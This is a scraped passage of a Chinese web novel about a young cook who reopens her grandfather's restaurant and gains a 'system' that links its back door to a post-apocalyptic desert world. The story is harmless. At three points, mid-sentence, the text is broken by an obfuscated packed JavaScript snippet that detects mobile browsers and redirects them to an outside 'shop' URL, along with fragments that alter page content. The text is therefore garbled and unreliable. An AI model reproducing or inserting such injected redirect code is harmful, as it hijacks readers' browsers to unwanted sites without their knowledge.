《位面小饭馆[美食]》 1. 三丝酸汤面 盛夏时节，气温本来就高，今天又是个大晴天，烈日晒得柏油路滚烫，路面散发出的热气简直要把行人都灼痛了。 两个路人躲在一家店铺招牌的阴影下乘凉，其中一人说：“杨哥，到饭点了，咱们找个地方吃饭吧。” 被叫做杨哥的男人皱眉：“天热，我没胃口，你先去吃吧。” 徐骏哪能吃独食，当即拉着杨新知往外走。“我知道附近有家面馆挺不错，夏季应该有凉面冷面什么的，对付着吃一碗吧。” 顶着毒辣的太阳走了半条街，来到记忆中面馆的位置，徐骏心下一沉，面馆的招牌不知道什么时候撤了下来，取而代之的是一块写着“南来饭馆”的牌子。 这年头餐饮业不好做，面馆倒闭也不奇怪。 两个人都热得脸色发红，实在是不想再找其他餐厅了，想着随便吃点就行了，抬脚就走了进去。 店里开了空调，凉气席卷全身，徐骏松了一口气，看向拿着菜单走来的服务生。 这年轻的女服务生也太有气质了吧！皮肤白皙，五官清丽，最重要的是带着一股书卷气。 徐骏在心里给出了解释，这八成是暑假在家里饭馆帮忙的大学生。 女服务生出声道：“你好，饭馆试营业，现在只有几道菜可选。” 天大地大，吃饭最大。 徐骏马上看向菜单，欣喜地发现面馆虽然倒闭了，这间新饭馆也有凉面卖。 肉酱凉面——25元。 三丝酸汤面——19元。 八珍豆腐…… 凉面而已，就算加了肉酱，二十五块也实在太贵了！徐骏之所以没转身就走，只是不想害朋友在日头下再晒半天。 杨新知表情倒是如常，要了一份肉酱凉面，徐骏见状，也点了一份三丝酸汤面。 于是二人就眼见着女服务生带上了厨师帽，转进了厨房。 合着她不是服务生，是厨师？ 徐骏心道大事不妙。厨子长得再漂亮也不能当饭吃，厨子手艺差劲遭殃的可是自己！ 虽说凉面没多少技术含量，可这么年轻的厨子还是让人心里打鼓，进店这么短时间，他已经是第二次后悔没转头离开了。 抬头看杨新知，对方嘴角含笑，一看就猜出了徐骏心里在想什么，安慰道：“就当花钱吹空调了。” 这么一想，徐骏心里才舒服一点。 ———— 南荼起了一只汤锅煮面，另一只锅加热起了牛骨高汤。 即便饭馆冷冷清清，门可罗雀，她每一道菜都是认认真真做的，绝不偷工减料，不愿意坏了南来饭馆的招牌。 门口那个招牌，是南荼的爷爷传给她的。 老南来饭馆曾经开在几条街外，面积虽然不大，装潢也不豪华，但在街坊邻居中可以说是声名赫赫，每天到不了饭点就座无虚席，实在没桌椅了，街坊们就是自带板凳也要吃上这一顿饭。 南来饭馆的火爆，自然离不开南荼的爷爷南元海的手艺。南荼父母双亡，从小就跟在爷爷身后，耳濡目染之下，十几岁就在后厨帮忙，街坊们一开始还吃得出南荼和南元海炒的菜之间的差别，后来竟然分辨不出来了，纷纷夸南荼是厨艺奇才，就是该继承南来饭馆的。 南元海却不这么想，厨子这个职业被叫做勤行，不为别的，吃苦受累才有赚头，孙女学习好，以后是要坐办公室的，怎么能跟他一样围着灶台打转？ 在南元海的期盼下，南荼先是去了外省上大学，毕业后又在大公司上班，彻底远离了油烟味的后厨。 直到一个月前，公司裁员到南荼头上，为了省一点补偿金，原本看着体面的公司花招百出，变着法的逼南荼离开，亲和的上司、同事一夕之间变了嘴脸。 迷茫的南荼走在繁华却陌生的街头，才意识到这个城市不是她的家，她也并不喜欢这份工作。 可是也没有南来饭馆给她继承了。 她上大学不久，原本的南来饭馆附近要建地铁站，整片拆迁了。拆迁没能让南家一夜暴富——店面是租的。 当时的南元海觉得自己还掂得动锅，不想退休。他在几条街外又看中了一个店面，比原来的宽敞明净很多，价格却便宜，是他们家负担的起的。相对应，地段差了些，甚至可以说是有点偏僻了，不过南元海信心十足，酒香不怕巷子深，街坊们都认南来饭馆的招牌！ 谁也没料到，店铺还没装修完，南元海就被查出了肺病，虽然积极治疗休养，还是在两年前过世了。 留下的店面租给了别人开面馆，几个月前面馆倒闭了，南荼还没来得及招到下个租客，自己也跟着失业了。 孑然一身时才最懂得孤独的滋味，她怀念那个回不去的南来饭馆，怀念后厨的烟火味，怀念记忆中那个忙碌不停的微微佝偻的身影。 南荼做了一个决定，南来饭馆没了，她就重开一个南来饭馆。 面条煮好了，南荼从思绪中回过神来，捞出面条冲过凉水备用。 客人点的两种面都不难做，南荼第一次一个人撑起一个店铺，不敢步子迈得太大，目前的菜单上都是方便易做的快手菜。 三丝酸汤面中的三丝是木耳丝、豆腐泡丝和蛋饼丝，把几种粗丝加入调过味的高汤汤底后，南荼转身去做肉酱凉面。 肉酱用的是南荼自己做的牛肉酱，牛肉粒炸得酥香，又加了小火烘烤的松仁和白芝麻，口感浓香醇厚，不管是拌饭还是拌面，都能让食物的味道瞬间提升好几个档次。 舀上一大勺牛肉酱，洒上一把早早炸好的黄豆，黄豆要放凉了才脆，南荼早就炸好了放在一边，最后来一把翠绿的葱花，肉酱凉面就做好了。 ———— 没等多久，徐骏两人点的菜品就送上来了。 看来这家饭馆的厨子虽然年轻，手脚倒也麻利。 徐骏看向自己的三丝酸汤面，汤底略微浓稠，香菜翠绿、蛋饼丝嫩黄、木耳丝黑亮，又有红艳艳的辣椒油点缀在汤面上，各种颜色交织在碗里，食欲一下就来了。 他把刚才花钱吹空调的念头一下抛到九霄云外，兴致勃勃的拿起筷子，夹起一大筷面条送入口中，当即眼前一亮。 面条的火候煮的刚好，筷子能一夹就断，却又略有嚼头，不会软烂到没有口感。 汤汁酸辣，风味浓郁，勾了芡以后附着在面条上，酸味清新爽口、辣味则恰到好处的刺激着味蕾，一下就驱散了夏日的憋闷，吃得人爽快极了！ 再夹上配菜与面条一起，木耳丝滑嫩脆爽，蛋饼丝绵软柔嫩，最妙的是豆腐泡丝，空腔里都吸饱了汤汁，外韧内软，鲜美可口。 他埋头大吃，一时间竟然忘了对面的杨新知，直到一股肉香飘到鼻尖，徐骏才想起杨新知点了肉酱凉面。 徐骏大力推荐道：“杨哥，这个三丝酸汤面好吃，汤汁鲜得很。下次你一定要尝尝。” 杨新知正在把凉面搅拌开，刚才的香味就是牛肉酱拌开那一瞬间传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097883|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的。 面一拌好，他已经被这香味勾的饥肠辘辘，迫不及待夹起一筷子面送进嘴里，刚一尝到味就说：“这二十五块钱花的值，里头的牛肉酱真是不错。” 面条筋道有弹性，拌匀后每一根都裹满了肉酱和调味汁，凉爽丝滑，每一口都能尝到酥香的牛肉颗粒，还带着一股独特的香味，又有脆脆的黄豆粒和清爽的豆芽丰富口感，让人食指大动。 以杨新知的水平，只能辨认牛肉酱里面有松仁和芝麻，在这种街边小饭馆里能吃到这么扎实的牛肉粒，还有价格不菲的松仁，这么一看，一份凉面二十五块钱也不觉得贵了，反而觉得很实惠，简直是良心商家！ 咔嚓咔嚓，咯吱咯吱，大脑里好像响起了交响曲，豆芽和黄瓜丝汁水迸溅，清清爽爽的滋味在嘴里充盈，特调的酸辣汁刺激着大脑皮层，令人食欲大开。 两人各自狼吞虎咽的吃着身前的面，满意之余也对对方点的那份很是好奇，暗自打算着下次再来吃。 让人奇怪的是，老板的手艺这么好，店面竟然冷冷清清，始终只有他们两个人。 这期间也有几个客人进店，要么看到过于年轻的老板犹豫着走了，要么看到菜单上的价格就打了退堂鼓。 徐骏看不下去，还帮着推荐了几句，那客人转身离开的眼神，绝对在说“狗托想骗我，没门！” “嘿，这人！”徐骏不服气道，“本来就好吃嘛！” 南荼不知道什么时候走到他们身边，放下两个杯子。 “新店开业，送二位一杯柠檬冷泡茶。” 刚走了几个客人，徐骏生怕她挫败，赶紧鼓励道：“老板，你做的面特别好吃，我们下次还来。” 南荼微微笑了笑，开饭馆确实比她想的要艰难得多。多年没开张，已经没有几个人还记得南来饭馆，她的年纪也确实难以叫客人信任，目前的经营状况说不上好，但她还会一直坚持下去的。 面已经吃完了，杨新知还对牛肉酱念念不忘。可以说这碗凉面好吃，浓郁却不油腻的牛肉酱占了80%的功劳。 有些街边凉面一入口，用了什么调味料就能被立刻猜个八九不离十。 但是这份凉面里的牛肉酱叫人猜不透又吃不够，想找到替代品都做不到，只能心心念念的惦记着下次再来吃。 要不是凉面不好打包，他都想再多买两份带回家，让老婆也尝尝。 面不好打包，那酱呢？心念一动，杨新知问道：“老板，牛肉酱怎么卖？” 南荼：“额外加一份肉酱八元。” “给我单独装一罐呢？” “单独卖牛肉酱？”南荼领会了杨新知的意思，断然摇头，“小店没有这个资质。” 卖罐装牛肉酱属于预包装食品，没有专门的资格证，被发现了是要罚款的，南荼不想冒这个险。 徐骏在一旁劝道：“老板，做生意要懂得变通呀。” 南荼还是拒绝。 一个主意突然冒出来，杨新知一拍桌子，他今天还非得把牛肉酱带回家不可！ “再来一份肉酱凉面，额外加十份牛肉酱。” 牛肉酱虽然好吃，可是……不咸吗？南荼疑惑地看过去。 就听见杨新知说：“肉酱单独放一个碗。” 过一会肉酱凉面做好了，杨新知和徐骏两人瓜分了一碗面。一扫而空后，杨新知指着没动过的十份牛肉酱说：“老板，没吃完的打包。” 根本难不倒他！ 2. 松仁牛肉酱 杨新知和徐骏走后，饭馆里又冷清起来。 南荼无事可做，把各种杂物收拾了一下，装袋准备出门丢垃圾。 她的手放在饭馆后门的门把手上。 一个声音突然响起： 【检测到合格宿主……符合绑定条件……已绑定……】 【位面饭馆系统为您服务！】 手里的垃圾袋掉在地上，南荼四下张望，是什么东西在说话？ 位面饭馆系统又是什么？ 【没错】，这声音又出现了，而且是直接出现在南荼脑海中的，【位面饭馆系统将为您的店铺连接不同位面，吸引更多客人前来用餐，帮助您的店铺车马盈门，蒸蒸日上！】 南荼扶着椅背慢吞吞地坐下来，尝试和这个声音对话。 经过一番交流，她终于弄懂了这个系统是干什么的。 与其他位面连通后，饭馆后门就变成了一道传送门，位面客人可以通过这道门进入南来饭馆用餐。 可以连通的位面是很多的，但同一时间位面之门只能开启一个位面，每当系统吸收足够的能量，就可以尝试连通下一个位面。 南荼最关心的只有一点：“其他位面的客人，他们吃饭付钱吗？” 系统严肃道：【宿主可以根据本系统的指导价收取客人所属位面的通用货币，系统将为宿主转化为本位面绝对合法途径的货币，只收取5%的手续费哦！】 还有手续费？南荼明白过来，系统原来是这么从中吸收能量的。 算了，饭馆生意不好，能多几个客人也是好事。而且系统反复强调，如果南荼感到威胁，可以将其他位面的客人立即驱逐出饭馆，甚至设置永久禁入，这样南荼的人身安全也有保证。 “现在可以开启位面之门了吗？”南荼有些紧张地看着饭馆后门。 【当前可连通位面数量：1，是否抽取？】 “是。” 【抽取位面中……当前已连通：末世位面！】 后门处多了一串黄铜色的风铃，当有位面客人到来的时候，风铃就会无风自动。 “我能打开这扇门看看吗？”南荼对门后的世界十分好奇。 【可以，默念位面之门，门外就是其他位面，反之则是饭馆原来的普通后门。】 南荼旋转起门把手。 面前是一眼望不到边的沙海，天上没有一片云，空气中没有一丝风，连鸟都不敢从这片沙漠飞过，只有像浪头一样的沙子在地面留下攒动的痕迹。南荼望到眼睛干涩，一直看到地平线的尽头，那里除了一道细薄的像刀锋一样的亮光以外什么也看不到。 南荼缓缓关上门。“车马盈门？” 【……】 “蒸蒸日上？” 【……】 系统找补道：【位面之门的位置是随机出现的……沙漠……沙漠里也不是没有客人……末世位面的原住民们身体素质很强的！】 “你的意思是他们会穿过沙漠来我的饭馆吃饭？”南荼轻声道。 如果系统有实体，此时已经汗流浃背。 南荼看着温温柔柔的，怎么就那么让人发怵呢？ 系统立刻补救道：【接待位面客人累积到一定程度可以获得属性点奖励。】 【绑定系统奖励一点自由属性点，是否分配？】 南荼这才稍稍提起兴趣。 属性点分为悟性、力量、五感三种，都是厨师的技艺相关。 烹饪不仅是技术，也是一门艺术，需要灵感和创意。悟性强的厨师能够从日常经验中找到灵感，更有创意的搭配食材和调味，提升自己的厨艺水平。 力量不必多说，颠不动勺的厨师不是好大厨。 最后说到五感，菜品要色香味俱全，厨子的五感少了哪一个都做不出好菜。看似用到最多的只有视觉、嗅觉、味觉，但就是挑个西瓜，也要拍一拍，听一听不是？触觉和听觉这不就派上用场了。 “我现在有一点自由属性点对吗？那就加到五感上吧。” 加点以后，南荼并没有感受到什么明显的不同。 系统不靠谱，她还是怎么想想提高南来饭馆在现实世界的知名度吧。 这几天南荼发现，自己每次做牛肉酱的时候，进店后愿意留下用餐的客人就会明显多上一些。 再做一些吧。 取出一块牛肉切成小块，保证每一粒牛肉都块头适中，既不会让人吃不出牛肉的口感，也不会干硬到费牙。 各种调味料炒香后，南荼把牛肉倒进去，下锅没多久，香味就已经越来越浓，等牛肉粒的颜色变深了，南荼转成小火继续炒，目的是让肉粒更加酥脆香浓。 另一头，松仁和芝麻也准备好了。锅里不必放油，干锅小火烘出松仁和芝麻的香味，加入炒好的牛肉酱中翻炒几下就够了。 一时间，各种材料融汇到一起，带起一种惊人的香气，简直像在后厨点燃了一个香气炸弹。 等牛肉酱稍稍放凉，南荼取了一点尝尝，满意点头。明明配方还是那个配方，这却是自己最近做的最满意的一次牛肉酱。仔细回想，这一次做牛肉酱南荼觉得格外得心应手，对各种材料的放入时机掌握得也更完美了。 系统适时出来邀功：【这就是[五感]属性点增加的效果！】 是吗？南荼思考这次的牛肉酱为什么格外成功。 牛肉酱制作的时候有几个要点，比如牛肉粒炒得太久会发干，炒的时间短又不够香酥，只能靠肉眼观察肉粒缩小的程度，表面的颜色等等。 再比如松子仁烘到什么程度最完美，火候不到催发不出香味，火候太过口感又不够油润。这时候观察颜色又不明显了，只能靠闻、靠翻拌时的手感、靠松仁碰撞的之间的声音。 可以说，这次做牛肉酱时，她总是做了正确的决定。 其实都是小细节，只不过许多个小细节汇集到一起，就让牛肉酱的味道更上了一层台阶。 属性点果然没有白加，南荼对系统说：“看来你还是有用处的。” 系统洋洋得意起来：【这只是开始而已，只要宿主多招待顾客，属性点还还会有的。】 顾客？南荼向后门的方向望了望。这可不是她说了算的啊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097884|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ———— 茫茫沙海中，出现了一个蚂蚁一样渺小的身影。 纪项明正在艰难前行，他的嘴唇干裂，面孔被烈日晒得通红，皮肤发烫却没有流汗——这是脱水的征兆。 就在今天凌晨，纪项明所在的小队遭到了异兽的突然袭击，仓皇之中，纪项明和他的队友失散了。 至于他为什么会出现在安金沙漠中，还要从这个世界十年前出现的变故说起。 那是一段非常混乱的时期，出于至今仍未知的原因，整个星球磁场紊乱、气候剧变、天灾不断，纪项明生活了半辈子的天陵市被掩埋在了黄沙之下。 可人们从未放弃重建自己的家园。几年之后在沙漠的边缘，人们重建了天陵城，将其视作重新繁衍生息的大本营。 可灾难还未结束，安金沙漠中又出现了体型巨大，能力各异的野兽，被称作异兽。如果放任不管，异兽们大量繁衍后便会形成兽潮，冲击天陵城。 人们组成队伍，带上武器和食水，深入沙漠清理这些异兽，后来他们发现，猎杀异兽也能解决他们当下资源短缺的困境。无毒的异兽肉被制成食物，异兽坚固的甲壳、利爪、尖牙被制成武器，脑袋里的晶核更是可以作为能源的补充。 自此，加入狩猎异兽的猎杀小队做佣兵成了天陵城一多半人的主业。 纪项明就是其中一员。 在沙漠中落单意味着什么，纪项明比谁都清楚。短短一天之中，他先是消耗了身上仅有的食物和饮水，又遭遇了一只星点沙蚺，激烈搏斗之后，他的子弹也打空了，为了减少负重，增添生还的希望，他不得不抛弃沉重的枪械。 如果没法在入夜前和队友们汇合，失去武器又缺少饮水的纪项明凶多吉少。 水、水……他需要水。 地平线尽头传来低沉的轰鸣声，是打雷了吗？雨？会有雨水会降临这片干涸的土地吗？ 纪项明忍不住停下脚步，抬头望天。 失望来的很快，头顶的太阳还是那么炙人，一丝阴云也没有。 是“鸣沙”，沙漠中偶尔会出现这种声音，沙丘出现沙崩时，就有可能会发出巨大的轰鸣声。这与如今的纪项明没有任何关系，非要说的话，就是给了他渺茫的希望又扼杀了它。 麻木地跋涉着，眼前单调的景色中神奇地跳出一个建筑来。 纪项明苦笑着扯了扯嘴角。是嫌刚才鸣沙带给他的失望还不够多，连海市蜃楼都出现了。 如果眼前出现的是一片绿洲，他还会带着雀跃狂奔而去，说不定不是海市蜃楼呢？ 偏偏是个……商店？那他基本可以确定，这是他在身体到达极限时出现的幻觉。 那招牌上还有字，南来饭馆？ 哈……安金沙漠深处有建筑已经够荒谬了，居然还是个饭馆。 即便如此，他还是下意识地挪动着脚步，向这个方向前进。他混混沌沌地不知道自己在想什么，两条腿却已经不受控制地奔向了不远处那虚幻的希望。 叮铃铃—— 南荼骤然抬头，风铃轻轻摇晃着，发出清脆的响声。 3. 什锦炒饭 脚踩在扎实的地面上时，纪项明实打实地愣住了。 鼻尖能闻到悠长的浓烈香气，空气是凉爽的，是出现了能影响人神志的异兽，还是他临死前的幻想？ 南荼有些惊讶的看着从后门进入饭馆的客人。 他看上去四十多岁，高大魁梧，穿着一身沾了风沙的类似作战服的服装，嘴唇干裂，此时怔怔地望着自己看。 虽然狼狈，却一眼就能看出不是什么花架子，那身肌肉一定是在战斗中一拳一脚锻炼出来的。 门后的末世位面还真有人穿过沙漠到他的饭馆来？ “这位客人，需要来点什么吗？”南荼打破了两人之间诡异的沉默。 “水……”纪项明下意识喃喃道。 手边刚好有一壶柠檬冷泡茶，南荼给他倒了一杯。 纪项明接过来一饮而尽，什么味儿也没喝出来。 他看起来还想要，南荼又给他倒了一杯。直到一壶柠檬冷泡茶下肚，纪项明终于缓过来了。他嘴巴里还残留着一丝柠檬的清新酸味，茶叶淡雅的香气若隐若现，冷泡茶已经咽下，又有一种淡淡的回甘出现。 喉间的干渴灼烧不见了，取而代之的是薄荷凉丝丝的气息。五脏六腑的燥热都被清凉的冷泡茶压下去，纪项明惬意地长舒了一口气。 这种放松只持续了一瞬间，纪项明又紧绷起来。眼前的一切真的是真实的吗？如果是幻境，他又该怎么逃脱？ 面前的年轻女孩根本就不像佣兵，皮肤白皙，一看就没在沙漠中跋涉过，手上有薄茧，但不是经常使用武器留下的。最离奇的是，第一次见面，就给了自己足足一壶珍贵的水。 这样的人怎么会出现在安金沙漠中？ 见这个大叔严肃地盯着自己看，南荼试探道：“如果你带了钱的话，我可以给你做点吃的。” 大叔终于不再像个木桩那样杵在地上。他从怀中一个隐蔽的口袋里掏出一个黄澄澄的物件，放到桌子上推到南荼面前。 一块两指大小的沉甸甸的金条。 他们这些佣兵在进入安金沙漠后，没有一个人敢断言自己一定能活着回来。有的人除了武器和食水什么也不带，哪怕是一枚一级晶核都要留在家里，不叫它与自己一同掩埋在黄沙之下。 纪项明不同，他没有亲人继承他的财富，所以他一向把多余的财物换成金条藏在身上。 将来埋骨在安金沙漠，考虑到沙漠里的尸体能保存很久很久，如果有佣兵经过，拿了他的金条，也许会把他带回天陵城安葬。 这些都是之后要担心的，关键是弄明白现在是怎么回事。 纪项明想，如果眼前的一切是幻觉，为了让自己沉溺其中不可自拔，应该想法设法满足他的要求，就像给他那壶救命的水一样。 他试探道：“给我一挺机枪和一千发子弹，这些金子都是你的。” 南荼恋恋不舍地把视线从耀眼的金子上挪开，摇头道：“你可能误会了，这里是饭馆，除了食物，不供应其他东西。” 开玩笑，她到哪里去弄一挺机枪来？ 纪项明粗黑的眉毛皱起来，神情里带着疑惑。 位面之门好不容易才出现了客人，南荼争取道：“真的不吃点什么吗？” 纪项明饿吗？ 饿。 想吃饭吗？ 想吃得发疯。 可是…… 心底另一个声音响起来：既然已经喝了这个饭馆的水，那么再吃点东西又有什么差别？ 抱着一种破罐子破摔的念头，大步一迈，他在一旁的桌子前坐下。 “随便什么东西都行，要快。” 南荼来到后厨，各种食材都剩了一些，也有现成的米饭，既然客人没什么要求，那就做一份什锦炒饭。 洋葱切碎，鸡蛋打散，胡萝卜切成丁。 起锅烧油，几下翻炒，蛋液就炒得极为松散，像金灿灿的桂花一样。洋葱碎、胡萝卜丁、松仁、玉米一同下锅，锅里立刻就五彩缤纷起来。等这几样食材稍微断生，就是下米饭的时候。 一边猛火炒着米饭，南荼一边少量多次的把后厨的高汤加进去。猛火炒出的饭滋味更足，但容易发干，炒制的时候加入一些高汤，让水分锁在米饭里，吃着就能干爽不噎人。 行云流水的一套动作下来，香喷喷的什锦炒饭出锅了。 早在香味飘出来的时候，纪项明就有些坐不住了。等分量十足的什锦炒饭放在他面前，此时再叫他保持警惕，犹豫斟酌，就是太难为他了。 纪项明用筷子拨弄了一下炒饭，面前的什锦炒饭色彩明快、粒粒清爽，他头一低，毫不犹豫的吃了一大口。 淡淡的米香和鸡蛋香、玉米的鲜甜、洋葱的爽口、松仁的醇香、渐次涌现，吃到饭的满足感包裹住了这个性格坚韧的汉子，竟然让纪项明的眼眶有些发热。 就在几分钟前，他还在沙漠顶着烈日无望的奔走，又饿又渴，不知道自己的归途在哪里。转眼间，清凉的茶水滋润了喉咙，还有美味到不可思议的炒饭填饱肚子。 就算是濒死前的美梦，他也要痛快地梦一场。 嫌筷子不好用，纪项明自已去取了个勺子来，往碗里一插，每次都舀起冒尖的一勺往嘴里塞。 客人一句话不说，饿狼一样一勺勺的不停往嘴里塞饭，南荼也是第一次见。 不过系统说的还真没错，末世位面的人身体素质真好，竟然真的穿过沙漠来到了她这里。刚进门时似乎还很虚弱，一壶水喝下去，又吃到了东西，眼看着就恢复了不少。 直到一大碗炒饭见了底，纪项明把碗一推、勺子一放，脸上露出解脱般的神情：“想从我这拿走什么，尽管来吧。” 末世位面当然不用南荼这里的货币，她扫了一眼系统给出的推荐售价，说道：“饭钱是五个一级晶核或一个二级晶核。” 根据系统提示，末世位面的一个一级晶核相当于她这里的二十块钱，一个二级晶核是一百块，三级晶核则是五百块。 奇怪的五进制。 南荼收到晶核后想兑换成自己能花出去的货币，系统还要收取5%的手续费。这样算下来，一壶冷泡茶外加一盆什锦炒饭南荼到手95块，利润也不少了。 至于不听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097885|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统的指导价倒也没有什么惩罚，南荼完全可以拿走纪项明的黄金，再把他赶出店里，只是她不想那么做而已。 系统的出现让南荼意识到，她不仅能让南来饭馆重新兴隆起来，还能让南来饭馆在其他位面美名远扬。 纪项明没想到南荼真的打算结账，仓皇摸遍全身上下，终于找出了不久前猎杀的那只三级星点沙蚺的晶核，笨拙地交给南荼。 “……我能从这里离开了吗？”南荼的态度似乎预示了什么，他小心翼翼地问道。 “现在还不行，因为我找不开零。”南荼实话实说。 纪项明立刻说：“剩下的我不要了。” 南荼看出纪项明身上也没别的晶核了，于是从冰箱里拿出自己刚做好的一罐牛肉酱塞到他手里。 “那给你一罐牛肉酱。门在那边。欢迎下次光临。”南荼提醒道，位面客人只能从他们来时的门离开。 纪项明手里攥着一小罐牛肉酱，恍恍惚惚的推开了门。 黄沙的热度隔着鞋子传了过来，熟悉的燥热空气包裹住了他。纪项明抬头看了看即将西沉的太阳，恍如隔世。 ———— 在纪项明想方设法和队友会合的时候，幸运的是，纪项明的队友也没放弃他。 纪项明与队伍失散的第二天，队友们找到了他。 几人手忙脚乱地搀扶着纪项明，又把车上的座椅放倒让他躺下休息，拿出水壶和肉干让他补充体力。 “老纪你是不是脱水了？我记得走散之前你的水壶就只剩下小半壶水了。” “还好。”纪项明喝了一点水，状态看着出奇的好。因为即将说出来的话太匪夷所思，他犹豫了一下才说：“其实我在路上进行了补给。” 他的声音低下来：“……我进了一家饭馆。”不仅吃了饭喝了茶，晚上还靠着饭馆的外墙睡了一觉，难得的没遇上任何异兽偷袭。经过这样一番养精蓄锐，他积攒了体力，头脑也清醒了不少，第二天才做出了正确判断，成功和队友会合的。 一股脑把想说的话像豆子一样全倒出来，他才去看大家的表情。 队友们都怜爱地看着他。 这几天一定不好过，看给老纪都饿出幻觉了。 “再喝点水吧？或者吃点咸肉干补充盐分，我们现在就扎营做饭。” 没有一个人接纪项明的茬，大家一哄而散，忙活起来。 不是，他说的是真的！ 纪项明张了张嘴想叫住众人，又无奈闭上。 他摩挲着兜里的牛肉酱罐子，如果不是这个东西的存在，他也会觉得这是一场梦。 “纪叔你起来干什么？要找什么？我来找。”留下来照顾纪项明的解薇看他挣扎起身，抢着说道。 “我想要地图和笔。” 刚一拿到笔，纪项明就在地图上勾画着，他有指南针在手，从来没有彻底失去过方向，沙漠中没有任何遮挡物，几公里的误差也不影响什么。按照自己行走的方向、速度和当前的位置，完全可以倒推出那间神奇的[南来饭馆]在哪里。 如果它会一直在那儿的话。 4. 茄汁咸蛋黄豆腐 拿到三级晶核的下一秒，南荼就让系统兑换成了钱。 银行卡很快收到475元的转账。 还是接待位面客人赚的多，这样的客人哪怕每天只有一个，也足以支撑南来饭馆继续开下去了。 不过看今天这位大叔的反应，似乎也是误打误撞进来的，而且全程都很紧张，怕是很难成为回头客。南荼略带遗憾地想到。 ———— 果然，自那天之后整整两天，位面之门也没迎来第二位客人。 南荼也从一开始的满怀期待变成了平静。 这天一大早，她就骑着不久前买来的二手电动三轮车去农贸市场买菜。 许多饭馆为了节省人工，都是让蔬菜供应商或是卖菜的个体户送货上门，南来饭馆刚开张不久，每天消耗的食材太少，而且用量很不稳定。南荼自己去买菜，选择更灵活一些，有时看到中意的新鲜食材，当天的菜单上就能多几道菜品。 今天的鲈鱼很新鲜，南荼蹲在摊前打量。 挑选鲈鱼，活蹦乱跳就不说了，眼球最好清亮透明，要是浑浊凸出，不是已经死了，就是已经在死的路上。鱼鳞要透亮有光泽，说明鱼还能分泌粘液，是有活力的表现。 鱼摊老板热情推荐：“妹子买鱼吗？你看我们摊上的鱼，个个活蹦乱跳，新鲜的不得了，带回家不管是清蒸或者红烧，那滋味儿都绝了！” 他不着痕迹地指了指一只大腹便便的鲈鱼：“我看这只就不错，肥美！” 南荼只瞥了那只鱼一眼，立刻就转向别处。肚子鼓胀的鱼，要么是快死了，要么被人灌了大量饲料增加斤量，谁买谁上当。尤其是鲈鱼，更是要买瘦不买肥。优质的鲈鱼活动量大，体型修长呈流线型，脂肪很少，这样的鲈鱼才腥味淡、肉质紧实。 见南荼不中计，鱼贩表情不变，继续道：“没看中？那要不看看这两条，这一批里数一数二的大个头，肉质肥美，营养丰富，一家人吃正好。” 南荼太年轻，很多商贩都觉得他不会挑选食材，每次来买菜都要面对许多花招。鱼贩在耳边喋喋不休的确烦人，南荼直接了当道：“这么大的鲈鱼都是老鲈鱼了，肉质粗糙不说，味道也不够鲜，你卖了这么多年鱼，不会不知道吧？” 鱼贩都是老油条了，被戳穿心思也面不改色，好像刚才想哄骗南荼买老鱼的不是他一样。 不过知道南荼不好糊弄，鱼贩这次一句多余的话也没说，老老实实把南荼挑选的几条一斤多点的新鲜鲈鱼上了称，还大方的抹了零。 “下次再来哦！” 这就是采购里的门道了，找一个供应商只需要和供应商一个人扯皮，自己出来采购每天也不知道要和多少小贩斗智斗勇。 在农贸市场转了一圈，车斗里装了不少食材，该回饭馆了。不过南荼依然在东张西望，寻找着什么。 不远处有个中年女菜贩，穿一件碎花布衫，外面罩了个深色围裙，挽起的袖子露出微黑结实的手臂，正招呼着客人：“大妹子，你来看咱家的菜，早上露水还没干就摘的，就剩这点儿了，你要我给你打折。” “两根黄瓜，好咧！这黄瓜生吃脆甜，拌菜炒菜都好吃！” 等客人走后，南荼走过去打招呼：“孙姐，今天生意不错。” 孙英一见她就咧开了嘴，亲切道：“小老板，你来了。番茄给你留着呢。” 她从身后拖出一个篓子，篓子里垫着稻草，上面都是一个个饱满红艳的番茄。 孙英家和南家打交道也十几年了，孙大爷种的一手好菜，自家吃不完就拉到市场上卖，南元海看中他的菜新鲜，经常叫他直接送到南来饭馆来。 好几年过去了，南荼重开了南来饭馆，孙家卖菜的主力也变成了孙大爷的女儿孙英。 她还记得南荼，在市场上遇见就喊住了他，要送她一些蔬菜。 南荼说自己把南来饭馆重新开起来了，不过饭馆的生意很差，南荼为难地告诉孙英，她恐怕照顾不了孙英的生意，饭馆现在根本用不了多少食材。 想起当年热热闹闹的南来饭馆，孙英也很感慨：“小老板你手艺那么好，迟早能生意兴隆的！” 那天南荼带着一袋子孙英非要塞给她的各色蔬菜离开了。孙英还告诉她，最近家里的菜扎堆成熟，自己天天都来市场买菜，有事只管来找她。 回去想了想，南荼还真有事要拜托她。 